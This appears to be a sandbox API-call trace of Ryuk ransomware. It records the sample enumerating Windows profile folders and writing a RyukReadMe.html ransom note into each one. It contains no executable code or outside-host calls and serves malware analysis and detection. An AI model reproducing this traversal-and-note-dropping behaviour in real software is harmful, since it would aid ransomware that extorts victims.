	[0266.697] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.698] GetLastError () returned 0xb7
	[0266.698] CloseHandle (hObject=0x984) returned 1
	[0266.698] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c731770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c731770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.698] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5c731770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c731770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.698] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x30db3250, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="ExplorerStartupLog.etl", cAlternateFileName="EXPLOR~2.ETL")) returned 1
	[0266.698] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28ec86c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ec86c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x54aad4c0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="ExplorerStartupLog_RunOnce.etl", cAlternateFileName="EXPLOR~1.ETL")) returned 1
	[0266.698] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5c731770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x5c731770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x5c731770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.698] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_1024.db", cAlternateFileName="TH78CB~1.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_256.db", cAlternateFileName="THUMBC~4.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_32.db", cAlternateFileName="THUMBC~2.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_96.db", cAlternateFileName="THUMBC~3.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33ad1360, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33ad1360, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33ad1360, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0xcb8, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_idx.db", cAlternateFileName="THUMBC~1.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 1
	[0266.699] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af74c0, ftCreationTime.dwHighDateTime=0x1d4d57d, ftLastAccessTime.dwLowDateTime=0x33af74c0, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x33af74c0, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="thumbcache_sr.db", cAlternateFileName="TH0F82~1.DB")) returned 0
	[0266.699] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.699] SetLastError (dwErrCode=0x0) 
	[0266.699] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.699] GetLastError () returned 0xb7
	[0266.699] CloseHandle (hObject=0x984) returned 1
	[0266.700] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1
	[0266.700] SetLastError (dwErrCode=0x0) 
	[0266.700] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.700] GetLastError () returned 0xb7
	[0266.700] CloseHandle (hObject=0x984) returned 1
	[0266.700] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.701] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.701] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.701] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0266.701] SetLastError (dwErrCode=0x0) 
	[0266.701] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\GameExplorer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\gameexplorer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.708] GetLastError () returned 0x0
	[0266.708] WriteFile (in: hFile=0x984, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0266.710] CloseHandle (hObject=0x984) returned 1
	[0266.711] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0266.711] SetLastError (dwErrCode=0x0) 
	[0266.711] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x984
	[0266.711] GetLastError () returned 0xb7
	[0266.711] CloseHandle (hObject=0x984) returned 1
	[0266.711] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0266.711] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.712] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.712] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0266.712] SetLastError (dwErrCode=0x0) 
	[0266.712] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.712] GetLastError () returned 0xb7
	[0266.712] CloseHandle (hObject=0x988) returned 1
	[0266.712] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.840] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.840] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.840] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0266.840] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5bdddd0, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x6b136a50, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6b136a50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0266.840] SetLastError (dwErrCode=0x0) 
	[0266.840] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x98c
	[0266.841] GetLastError () returned 0xb7
	[0266.841] CloseHandle (hObject=0x98c) returned 1
	[0266.841] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1f4, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x0, dwReserved0=0x1f4, dwReserved1=0x0, cFileName="", cAlternateFileName="cation Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microso杄眙")) returned 0xffffffffffffffff
	[0266.841] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.841] SetLastError (dwErrCode=0x0) 
	[0266.841] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.841] GetLastError () returned 0x3
	[0266.841] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.841] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0266.842] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x527692b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x527692b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x527692b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0266.842] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.842] SetLastError (dwErrCode=0x0) 
	[0266.842] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.842] GetLastError () returned 0xb7
	[0266.842] CloseHandle (hObject=0x988) returned 1
	[0266.842] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c55e890, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c55e890, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0266.842] SetLastError (dwErrCode=0x0) 
	[0266.843] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.843] GetLastError () returned 0xb7
	[0266.843] CloseHandle (hObject=0x988) returned 1
